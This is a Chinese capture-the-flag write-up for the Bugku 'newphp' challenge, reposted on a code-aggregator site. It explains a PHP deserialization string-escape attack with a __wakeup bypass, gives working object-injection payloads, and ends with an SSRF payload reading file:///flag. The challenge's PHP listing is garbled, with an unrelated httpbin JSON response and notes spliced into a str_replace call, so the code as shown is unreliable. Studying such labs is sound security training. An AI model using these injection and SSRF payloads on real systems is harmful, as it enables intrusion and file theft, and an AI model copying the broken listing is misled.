打开题目
是一串PHP代码
1 <?PHP 2 // PHP版本:5.4.44 3 header("Content-type: text/HTML; charset=utf-8"); 4 highlight_file(__file__); 5 6 class evil{ 7 public $hint; 8 9 public function __construct($hint){10 $this->hint = $hint;11 }12 13 public function __destruct(){14 if($this->hint==="hint.PHP")15 @$this->hint = base64_encode(file_get_contents($this->hint)); 16 var_dump($this->hint);17 }18 19 function __wakeup() { 20 if ($this->hint != "╭(●`∀´●)╯") { 21 //There's a hint in ./hint.PHP22 $this->hint = "╰(●’◡’●)╮"; 23 } 24 }25 }26 27 class User28 {29 public $username;30 public $password;31 32 public function __construct($username, $password){33 $this->username = $username;34 $this->password = $password;35 }36 37 }38 39 function write($data){40 global $tmp;41 $data = str_replace(chr(0).'*'.chr(0), '$this->hint
1.PHP 在反序列化时,底层代码是以 ; 作为字段的分隔,以 } 作为结尾(字符串除外),并且是根据长度判断内容的2.对类中不存在的属性也会进行反序列化{ "args": { "name": "Bob" }, "headers": { "Accept": "*/*", "Host": "httpbin.org", "User-Agent": "curl/7.64.0", "X-Amzn-Trace-ID": "Root=1-60cc5790-4d6de1ed0d4813ab786ed249" }, "origin": "114.67.246.176", "url": "http://httpbin.org/get?name=Bob"}', $data);42 $tmp = $data;43 }44 45 function read(){46 global $tmp;47 $data = $tmp;48 $r = str_replace('', chr(0).'*'.chr(0), $data);49 return $r;50 }51 52 $tmp = "test";53 $username = $_POST['username'];54 $password = $_POST['password'];55 56 $a = serialize(new User($username, $password));57 if(preg_match('/flag/is',$a))58 dIE("NoNoNo!");59 60 unserialize(read(write($a)));
发现有一个hint.PHP文件,试试看能不能直接访问
果然,没有任何东西,
还是老老实实的审计代码把
首先在evil类里指向文件触发file_get_contents函数读取文件内容,然后提示有个hint.PHP,要构造触发这个evil类
再将将evil后面的数字改的更大就行了(绕过_wakeup只需对象属性个数值改得比真实对象大)
payload:O:4:"evil":2:{s:4:"hint";s:8:"hint.PHP";}
然后再user类中,有read()方法和write() 方法
这两个方法都是经过处理后才进行反序列化的
这里就有一个漏洞了,PHP反序列化字符串逃逸
PHP特性:
漏洞原因:序列化的字符串在经过过滤函数不正确的处理而导致对象注入
详细的可以看下这篇文章
user类触发的payload为:O:4:"User":2:{s:8:"username";s:3:"111";s:8:"password";s:41:"O:4:"evil":2:{s:4:"hint";s:8:"hint.PHP";}";}
这时候我们要替换掉的就是:";s:8:"password";s:41:" 共有23位
而每次添加一组\0\0\0能多吞掉3个字符,所以肯定需要3的倍数,我们可以在password的值上再加一个任意字符,即可凑齐24个
payload: username=\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0&password=1";O:4:"evil":2:{s:4:"hint";s:8:"hint.PHP";}
再将得出的字符串进行base64解码
访问index.cgi
得到一串代码
感觉有ssrf
随便get一下
果然存在
知道ssrf存在然后就可以通过file协议来直接读取flag了
payload:?name= file:///flag
总结
以上是内存溢出为你收集整理的bugku-newphp全部内容,希望文章能够帮你解决bugku-newphp所遇到的程序开发问题。
如果觉得内存溢出网站内容还不错,欢迎将内存溢出网站推荐给程序员好友。
欢迎分享,转载请注明来源:内存溢出
评论列表(0条)